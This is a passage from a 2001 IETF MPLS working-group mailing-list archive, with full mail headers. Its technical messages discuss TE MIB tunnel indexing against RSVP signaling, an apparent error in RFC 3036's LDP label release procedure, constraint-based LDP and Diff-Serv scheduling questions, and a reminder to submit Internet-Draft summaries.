	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 20:23:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkopd02275
	for <mpls@UU.NET>; Fri, 11 May 2001 20:22:01 GMT
Received: from alpo.casc.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpo.casc.com [152.148.10.6])
	id QQkopd17107
	for <mpls@UU.NET>; Fri, 11 May 2001 20:22:01 GMT
Received: from fort.casc.com (fort [152.148.30.129])
	by alpo.casc.com (8.9.1a/8.9.1) with ESMTP id QAA29183;
	Fri, 11 May 2001 16:22:00 -0400 (EDT)
Received: (from etsang@localhost)
	by fort.casc.com (8.8.8+Sun/8.8.8) id QAA25032;
	Fri, 11 May 2001 16:22:00 -0400 (EDT)
Date: Fri, 11 May 2001 16:22:00 -0400 (EDT)
From: Edwin Tsang <etsang@lucent.com>
X-Sender: etsang@fort
To: tnadeau@cisco.com
cc: mpls@UU.NET
Subject: Last call on MPLS TE MIB
Message-ID: <Pine.SOL.3.91.1010511161617.23412C-100000@fort>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

>>  3. mplsTunnelIndex and mplsTunnelInstance objects
>>     How do you see mapping between TE MIB tunnel index/instance and
>>     the signaling protocol concepts?
>>     In Virata TE MIB implementation we interpreted these objects as:
>>       for RSVP signaling -
>>         mplsTunnelIndex corresponds to TunnelId of the rsvp session object,
>>         mplsTunnelInstance corresponds to LSPID of the sender template.
>
>         Yes.


        There seems to be a problem when the external tunnel ID can be
either 0 or src address in RSVP signaling. The following LSP will appear
to be the same LSP in the mib table but they are different lsp in
signaling since the external ID is different. 


e.g.

----------------------------------------------------------------------
MIB Table                    
tunnelIndex | tunnelInstance | IngressLsrID | EgressLsrID
----------------------------------------------------------------------
1           | 1              | lsr1         | lsr2
1           | 1              | lsr1         | lsr2
----------------------------------------------------------------------


RSVP Signaling
----------------------------------------------------------------------
| Session Object         | Sender  
| dst  |  Tid  | Ex. Tid | Src | LspID
----------------------------------------------------------------------
| d1   |  1    | s1      | s1  | 1
| d1   |  1    | 0       | s1  | 1
----------------------------------------------------------------------





From owner-mpls@UU.NET  Fri May 11 18:03:39 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA21655
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 18:03:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkopk08320;
	Fri, 11 May 2001 22:02:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkopk06346
	for mpls-outgoing; Fri, 11 May 2001 22:02:16 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkopk05897
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 22:01:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkopk13696
	for <mpls@uu.net>; Fri, 11 May 2001 22:00:42 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkopk06293
	for <mpls@uu.net>; Fri, 11 May 2001 22:00:42 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4BM0Zf05116
	for <mpls@uu.net>; Fri, 11 May 2001 15:00:35 -0700
Message-ID: <3AFC6264.581ED720@ipinfusion.com>
Date: Fri, 11 May 2001 15:06:28 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Label Release receive doubt !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

While going through RFC 3036 (LDP) section A.1.4 (label release
processing ), I came across the following section :


LRl.5     LRl.5  Has LSR previously advertised a label for this FEC  to
other peers ?
              If so, goto LRl.10

If this check fails (ie LSR has not advertised any labels to other peers
for this FEC), the corresponding downstream label may be released. Now,
consider the case below :

There are three LSRs        Ra-----Rb-------Rc connected in a striaght
line as shown (Rc being the downstream LSR for Rb and so on).
Now lets assume Ra is non merge capable and Rb is merge capable.
For a given FEC F, Ra requests multiple labels from Rb (one for each of
Ra's upstream peers for F). In response to these requests, Rb gives
label mappings {Lb1, Lb2, Lb3.....} to Ra and binds all these mappings
to Label Lc received from Rc for F. Now Ra releases one of the labels,
say Lb1, which it got from Rb for F. Now according to LRl.5,  Rb checks
if there are any other peer holding labels for Lc (downstream label from
Rc for FEC F). The check fails as Ra is the only peer holding labels for
F. In this case, Rb may release the downstream label Lc (if release
propagation is configured in Rb). This leaves other labels like {Lb2,
Lb3...}
sent to Ra from Rb (for FEC F) without any outgoing label on Rb. Thus
the packets from Ra labelled with
{Lb2, Lb3 ...} will need to use ip forwarding to reach Rc.

I think we should not release a downstream label as long as there is
even one upstream label mapped to it but  the procedure described
doesn't seem to take care of this case. Let me know if there is anything
I am missing here.


Thanks in advance,
Manoj







From owner-mpls@UU.NET  Fri May 11 18:23:29 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA22025
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 18:23:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkopl24630;
	Fri, 11 May 2001 22:22:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkopl22832
	for mpls-outgoing; Fri, 11 May 2001 22:22:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkopl22765
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 22:22:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkopl28596
	for <mpls@uu.net>; Fri, 11 May 2001 22:20:33 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkopl22272
	for <mpls@uu.net>; Fri, 11 May 2001 22:20:32 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id SAA25158 for mpls@uu.net; Fri, 11 May 2001 18:20:32 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkopl21856
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 22:16:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkopl17640
	for <mpls@UU.NET>; Fri, 11 May 2001 22:15:44 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.131.24])
	id QQkopl21076
	for <mpls@UU.NET>; Fri, 11 May 2001 22:15:44 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.128.68]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id SAA14448; Fri, 11 May 2001 18:15:43 -0400 (EDT)
Received: from localhost (rhthomas@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id SAA12227; Fri, 11 May 2001 18:15:43 -0400 (EDT)
Message-Id: <200105112215.SAA12227@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: rhthomas owned process doing -bs
To: Manoj Dutta <manoj@ipinfusion.com>
cc: mpls@UU.NET
Subject: Re: Label Release receive doubt !! 
In-reply-to: Your message of "Fri, 11 May 2001 15:06:28 PDT."
             <3AFC6264.581ED720@ipinfusion.com> 
Date: Fri, 11 May 2001 18:15:43 -0400
From: Bob Thomas <rhthomas@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Manoj,

> While going through RFC 3036 (LDP) section A.1.4 (label release
> processing ), I came across the following section :
> 
> 
> LRl.5     LRl.5  Has LSR previously advertised a label for this FEC  to
> other peers ?
>               If so, goto LRl.10
> 
> If this check fails (ie LSR has not advertised any labels to other peers
> for this FEC), the corresponding downstream label may be released. Now,
> consider the case below :
> 
> There are three LSRs        Ra-----Rb-------Rc connected in a striaght
> line as shown (Rc being the downstream LSR for Rb and so on).
> Now lets assume Ra is non merge capable and Rb is merge capable.
> For a given FEC F, Ra requests multiple labels from Rb (one for each of
> Ra's upstream peers for F). In response to these requests, Rb gives
> label mappings {Lb1, Lb2, Lb3.....} to Ra and binds all these mappings
> to Label Lc received from Rc for F. Now Ra releases one of the labels,
> say Lb1, which it got from Rb for F. Now according to LRl.5,  Rb checks
> if there are any other peer holding labels for Lc (downstream label from
> Rc for FEC F). The check fails as Ra is the only peer holding labels for
> F. In this case, Rb may release the downstream label Lc (if release
> propagation is configured in Rb). This leaves other labels like {Lb2,
> Lb3...}
> sent to Ra from Rb (for FEC F) without any outgoing label on Rb. Thus
> the packets from Ra labelled with
> {Lb2, Lb3 ...} will need to use ip forwarding to reach Rc.
> 
> I think we should not release a downstream label as long as there is
> even one upstream label mapped to it but  the procedure described
> doesn't seem to take care of this case. Let me know if there is anything
> I am missing here.

I think you have found an error in LRl.5.  The intent is as you
suggest, but LRl.5 doesn't correctly specify that intent.  LRl.5 should
be saying something like:

   LRl.5   Has LSR previously advertised a label for this FEC to other
           peers or another label for this FEC to MsgSource?
           If so, goto LRl.10.

or:

   LRl.5   Does LSR have outstanding label advertisements for this FEC?
           If so, goto LRl.10.


Thanks,
Bob



From owner-mpls@UU.NET  Fri May 11 23:12:09 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA27144
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 23:12:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoqe06798;
	Sat, 12 May 2001 03:11:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkoqe22295
	for mpls-outgoing; Sat, 12 May 2001 03:10:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoqe22280
	for <mpls@mail-control.mail.uu.net>; Sat, 12 May 2001 03:10:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoqe22858
	for <mpls@UU.net>; Sat, 12 May 2001 03:09:43 GMT
Received: from hopper.math.uwaterloo.ca by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hopper.math.uwaterloo.ca [129.97.78.132])
	id QQkoqe02007
	for <mpls@UU.net>; Sat, 12 May 2001 03:09:43 GMT
Received: from localhost (wwszeto@localhost)
	by hopper.math.uwaterloo.ca (8.8.8/8.8.8) with ESMTP id XAA05119
	for <mpls@UU.net>; Fri, 11 May 2001 23:09:42 -0400 (EDT)
Date: Fri, 11 May 2001 23:09:42 -0400 (EDT)
From: "Wayne W. Szeto" <wwszeto@hopper.math.uwaterloo.ca>
To: mpls@UU.NET
Subject: Clarification on constraint-based routing.
Message-ID: <Pine.SOL.4.05.10105112221150.3724-100000@hopper.math.uwaterloo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

I'm reading the internet draft "constraint-based LSP setup using LDP" and
I'm just wondering how does each LSR determine how much resources to
reserve for a LSP.  Does each LSR reserve "committed data rate" amount of
link bandwidth and "committed burst size" amount of buffer space?  Or does
each LSR calculates the amount of resources to reserve based on the
traffic engineering TLVs?  If it is the latter case, where can I find the
calculation procedure?  Thanks in advance.

Wayne



From owner-mpls@UU.NET  Sun May 13 09:30:28 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10121
	for <mpls-archive@lists.ietf.org>; Sun, 13 May 2001 09:30:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkovl17222;
	Sun, 13 May 2001 13:29:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkovl14398
	for mpls-outgoing; Sun, 13 May 2001 13:28:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkovl14387
	for <mpls@mail-control.mail.uu.net>; Sun, 13 May 2001 13:28:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkovl15902
	for <mpls@uu.net>; Sun, 13 May 2001 13:26:56 GMT
Received: from newdev.harvard.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: newdev.eecs.harvard.edu [140.247.60.212])
	id QQkovl15095
	for <mpls@uu.net>; Sun, 13 May 2001 13:26:56 GMT
Received: (from sob@localhost)
	by newdev.harvard.edu (8.9.3/8.9.3) id JAA02543
	for mpls@uu.net; Sun, 13 May 2001 09:26:36 -0400 (EDT)
Date: Sun, 13 May 2001 09:26:36 -0400 (EDT)
From: Scott Bradner <sob@harvard.edu>
Message-Id: <200105131326.JAA02543@newdev.harvard.edu>
To: mpls@UU.NET
Subject: REMINDER - ID summaries due soon
Sender: owner-mpls@UU.NET
Precedence: bulk


reminder - we need these summaries by next Friday - otherwise we will
assume that we do not need to worry about the ID

also - you need to be specific in where you think the ID fits - just saying
"fits in MPLS" is not enough - say where in the MPLS work

Scott & Bert

---------------------------------------------
All, but specifically I-D Authors/Editors

Over the last several months, we have seen A LOT of I-Ds submitted/posted
which appear to be targeted for one or more WGs in the new sub-IP area.
(ccamp, gsmp, ipo, iporpr, tewg, mpls and ppvpn) These are mostly
individual I-Ds, that is those that do not start with 
        draft-ietf-<someWgName>
but this mesage referrs to ALL I-Ds related to the Sub IP WGs.
In fact we believe we have some 200-300 of such documents.

It is sort of impossible to try and read them all and decide in which WG
(if any) they might fit. So in order to help us (WG chairs and ADs) to 
work our way through all these documents, we want the AUTHORS/EDITORS of 
such existing documents to do the following:

- Before May 18th, pls send ONE SINGLE email per I-D to the email alias
  
       idsummary@subip.ietf.org

  That email should be formatted and contain content as
  explained below.

  Pls DO NOT send these emails to any WG mailing list. 

  The idsummary mailing list will be archived publically at 

      ftp://subip.ietf.org/pub/lists/idsummary*

  Since these are non-WG documents (yet) any comments/discussion
  can/should take place at: 

      subip-area@subip.ietf.org

  But initially the idea is to just collect the data.

- When doing a revision of these documents or writing a new I-D,
  please pls add a section at the beginning of your document that contains
  the same information we are asking for here so that readers of your
  document can also see it.

All these emails will be archived and the WG chairs, ADs, Technical
Advisors
and Directorate will review them and report back (target is end of May)
what we want to do with each of the documents.

If we do not receive a note about an I-D we will assume that the I-D
authors/editors do not intend to publish it as a RFC.

Further, if you assume this pictorial overview of the work we are doing
in the sub-IP area, then pls indicate where in the picture your document
fits.

   --- pictorial overview of work in the sup-IP area --------------

  The Working Groups at the top are those that will use the
  Common Control and Measurement Protocols that we're 
  defining in the CCAMP WG.


  Applications         +-------+  +-------+        (new) Hour glass
  that use CCAMP: \    | TE-WG |  | PPVPN |  ...           /
                   \   +-------+  +-------+               /
                    \     +----------------------+       /
                     \    |         CCAMP        |      /
                      \   |-----------+----------|     /  
                      /   |   C       |    M   --|------ IGP LSA ext
                     /    | control   | measure  |     \  
                    /     +----------------------+      \
  Technologies to  / +----+ +----+ +----+ +----+ +----+  \
  measure/control:/  |MPLS| |OPT | |RPR | |ATM | | FR |...\
                     +----+ +----+ +----+ +----+ +----+

  The technologies at the bottom allow us to create paths and so those
  are the ones we want to measure and control via the Common Control
  and Measurement Protocols coming out of CCAMP. One of those 
  technologies (MPLS) is defined by IETF, others are (have been) defined 
  in other standards organisations. However, we want to focus mainly on 
  the use of such technologies for IP.

  So for example the IPO and IPORPR WGs are assumed to be active at 
  the bottom because we want to focus on the IP use of such technologies.


Bert and Scott
--------------------
The ONE SINGLE email per I-D should be as follows:

-  Subject: <targetWgName> <nameOfID>
   
   the targetWgName is the WG that you as authors/editors
   think that this document should live in. If you have no specific
   WG as the target WG, then use subIP as the name.

   the nameOfID is the filename of the draft, e.g. draft-xxx-yyy-zzz-00.txt

- In the body of the email must have the following sections with these 
  section titles:

NAME OF I-D:

  Write it down as a URL so we can click on it to see it.  e.g. 

  http://www.ietf.org/internet-drafts/draft-xxx-yyy-zzz-00.txt


SUMMARY

  This should contain a summary of the content of the document
  Potentially it can be the abstract. But pls make sure that it helps
  the reader undestand what the document is all about.
  PLEASE TRY TO KEEP IT DOWN TO TWO PARAGRAPHS

RELATED DOCUMENTS

  A list of URLs for other I-Ds (or non-IETF documents) that you think
relate,
  compete, complement or overlap with your document.  "none" if none

WHERE DOES IT FIT IN THE PICTURE OF THE SUB-IP WORK

  Applications         +-------+  +-------+        (new) Hour glass
  that use CCAMP: \    | TE-WG |  | PPVPN |  ...           /
                   \   +-------+  +-------+               /
                    \     +----------------------+       /
                     \    |         CCAMP        |      /
                      \   |-----------+----------|     /  
                      /   |   C       |    M   --|------ IGP LSA ext
                     /    | control   | measure  |     \  
                    /     +----------------------+      \
  Technologies to  / +----+ +----+ +----+ +----+ +----+  \
  measure/control:/  |MPLS| |OPT | |RPR | |ATM | | FR |...\
                     +----+ +----+ +----+ +----+ +----+


WHY IS IT TARGETED AT THIS WG

  You must explain how the ID addresses a workitem in the current WG
  charter as listed on the WG charter page on the IETF web site. If
  it addresses only part of a work item, then please explain if there
  are other documents that could be merged with this one to become one
  document to address the complete work item.

JUSTIFICATION

  Why do you think it is justified for the WG to consider this document.

  In the case that you cannot explain how this document addresses
  a specific WG charter work item, then explain and justify why the
  WG should even consider this work and what the description of 
  a possible new work item would be for the WG. Suggest possible
  milestones for that work item.

  Please realize, that new work items need wide support within a
  WG, but also they need agreement from the WG chairs and ADs,
  and even when they get that, the whole IESG and IAB must review and
  approve new-work items before they get added to a WG charter.

  Please understand that we already have a lot of work in our WG
  charters, and that we would rather see that finished (or at least
  be well undeway) before we undertake any new work items.




From owner-mpls@UU.NET  Sun May 13 10:59:21 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11397
	for <mpls-archive@lists.ietf.org>; Sun, 13 May 2001 10:59:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkovr06558;
	Sun, 13 May 2001 14:58:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkovr10321
	for mpls-outgoing; Sun, 13 May 2001 14:58:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkovr10313
	for <mpls@mail-control.mail.uu.net>; Sun, 13 May 2001 14:58:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkovr26237
	for <mpls@uu.net>; Sun, 13 May 2001 14:56:43 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkovr05588
	for <mpls@uu.net>; Sun, 13 May 2001 14:56:43 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id KAA06943 for mpls@uu.net; Sun, 13 May 2001 10:56:43 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkovr10123
	for <mpls@mail-control.mail.uu.net>; Sun, 13 May 2001 14:55:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkovr17510
	for <mpls@UU.NET>; Sun, 13 May 2001 14:55:40 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkovr04516
	for <mpls@UU.NET>; Sun, 13 May 2001 14:55:40 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id KAA25582; Sun, 13 May 2001 10:55:35 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Sun, 13 May 2001 10:55:23 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <KTT1LTS2>; Sun, 13 May 2001 10:55:26 -0400
Message-ID: <F033F6FEF3F1D111BD150000F8CD1431068B5F69@zcard007.ca.nortel.com>
From: "Ghassem Koleyni" <ghassem@nortelnetworks.com>
To: "'wesam.alanqar@mail.sprint.com'" <wesam.alanqar@mail.sprint.com>,
        mpls@UU.NET
Cc: pwe3@ietf.org
Subject: RE: [PWE3] Status of draf-stdenis-ms-over-mpls-00
Date: Sun, 13 May 2001 10:55:23 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0DBBC.BCCDC370"
X-Orig: <ghassem@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DBBC.BCCDC370
Content-Type: text/plain;
	charset="ISO-8859-1"

Greetings

draft-koleyni-pwe3-atm-over-mpls-00.txt 

now substitutes  ATM-MPLS interworking portion of
"draf-stdenis-ms-over-mpls-00"

Best regards,  Ghassem Koleyni

 -----Original Message-----
From: 	wesam.alanqar@mail.sprint.com [mailto:wesam.alanqar@mail.sprint.com]

Sent:	Wednesday, May 09, 2001 1:44 PM
To:	mpls@UU.NET
Cc:	pwe3@ietf.org
Subject:	[PWE3] Status of draf-stdenis-ms-over-mpls-00

 << File: Wesam Alanqar (E-mail).vcf >> Can any body update me with the
status of draft-stdenis-ms-over-mpls-00?

Any cooperation with Martini drafts?

Thanks.

------------------------------------------------------------------------
-----------
Wesam Alanqar         Member of Technical Staff
Technology Research Group (TR)
Technology Planning & Integration Dept. (TP&I)
Sprint
9300 Metcalf Avenue, KS 66212 
Phone: 913-534-5623 Work, Fax: 913-534-3485
------------------------------------------------------------------------
-----------
 

------_=_NextPart_001_01C0DBBC.BCCDC370
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: [PWE3] Status of draf-stdenis-ms-over-mpls-00</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Greetings</FONT>
</P>

<P><FONT SIZE=3D2>draft-koleyni-pwe3-atm-over-mpls-00.txt </FONT>
</P>

<P><FONT SIZE=3D2>now substitutes&nbsp; ATM-MPLS interworking portion =
of &quot;draf-stdenis-ms-over-mpls-00&quot;</FONT>
</P>

<P><FONT SIZE=3D2>Best regards,&nbsp; Ghassem Koleyni</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: &nbsp; wesam.alanqar@mail.sprint.com [<A =
HREF=3D"mailto:wesam.alanqar@mail.sprint.com">mailto:wesam.alanqar@mail.=
sprint.com</A>] </FONT>
<BR><FONT SIZE=3D2>Sent:&nbsp;&nbsp; Wednesday, May 09, 2001 1:44 =
PM</FONT>
<BR><FONT SIZE=3D2>To:&nbsp;&nbsp;&nbsp;&nbsp; mpls@UU.NET</FONT>
<BR><FONT SIZE=3D2>Cc:&nbsp;&nbsp;&nbsp;&nbsp; pwe3@ietf.org</FONT>
<BR><FONT SIZE=3D2>Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
[PWE3] Status of draf-stdenis-ms-over-mpls-00</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&lt;&lt; File: Wesam Alanqar (E-mail).vcf =
&gt;&gt; Can any body update me with the status of =
draft-stdenis-ms-over-mpls-00?</FONT>
</P>

<P><FONT SIZE=3D2>Any cooperation with Martini drafts?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks.</FONT>
</P>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
---------</FONT>
<BR><FONT SIZE=3D2>-----------</FONT>
<BR><FONT SIZE=3D2>Wesam =
Alanqar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Member of =
Technical Staff</FONT>
<BR><FONT SIZE=3D2>Technology Research Group (TR)</FONT>
<BR><FONT SIZE=3D2>Technology Planning &amp; Integration Dept. =
(TP&amp;I)</FONT>
<BR><FONT SIZE=3D2>Sprint</FONT>
<BR><FONT SIZE=3D2>9300 Metcalf Avenue, KS 66212 </FONT>
<BR><FONT SIZE=3D2>Phone: 913-534-5623 Work, Fax: 913-534-3485</FONT>
<BR><FONT =
SIZE=3D2>---------------------------------------------------------------=
---------</FONT>
<BR><FONT SIZE=3D2>-----------</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DBBC.BCCDC370--



From owner-mpls@UU.NET  Sun May 13 18:31:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14818
	for <mpls-archive@lists.ietf.org>; Sun, 13 May 2001 18:31:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoww26366;
	Sun, 13 May 2001 22:30:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkowv16390
	for mpls-outgoing; Sun, 13 May 2001 22:29:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkowv16378
	for <mpls@mail-control.mail.uu.net>; Sun, 13 May 2001 22:29:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkowv20326
	for <mpls@UU.NET>; Sun, 13 May 2001 22:28:39 GMT
Received: from hopper.math.uwaterloo.ca by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hopper.math.uwaterloo.ca [129.97.78.132])
	id QQkowv12900
	for <mpls@UU.NET>; Sun, 13 May 2001 22:28:38 GMT
Received: from localhost (wwszeto@localhost)
	by hopper.math.uwaterloo.ca (8.8.8/8.8.8) with ESMTP id SAA19854
	for <mpls@UU.NET>; Sun, 13 May 2001 18:28:38 -0400 (EDT)
Date: Sun, 13 May 2001 18:28:38 -0400 (EDT)
From: "Wayne W. Szeto" <wwszeto@hopper.math.uwaterloo.ca>
To: mpls@UU.NET
Subject: clarification on "MPLS support of Diff-Serv"
Message-ID: <Pine.SOL.4.05.10105131812290.19509-100000@hopper.math.uwaterloo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On p6, second paragraph of the "MPLS support of Diff-Serv" document, it
reads "... establishing an E-LSP or L-LSP with bandwidth reservation does
not mean that per-LSP scheduling is required...".  I'm not sure why
per-LSP scheduling is not required.  If there are two L-LSPs, carrying
packets that has the same PHB, and they intersect on a link where they
have reserved 5Mbits and 10Mbits of bandwidth respectively.  Then without
per-LSP scheduling, their packets will be treated without consideration on
their reserved bandwidth.  I would expect that for every packets of the
first L-LSP transmitted on the intersecting link, two packets of the
second L-LSP will be transmitted.  However, when there're no per-LSP
scheduling, I don't see how this could happen.  Could someone explain
whats the true meaning of the quote above?  

Wayne



From owner-mpls@UU.NET  Mon May 14 02:06:47 2001
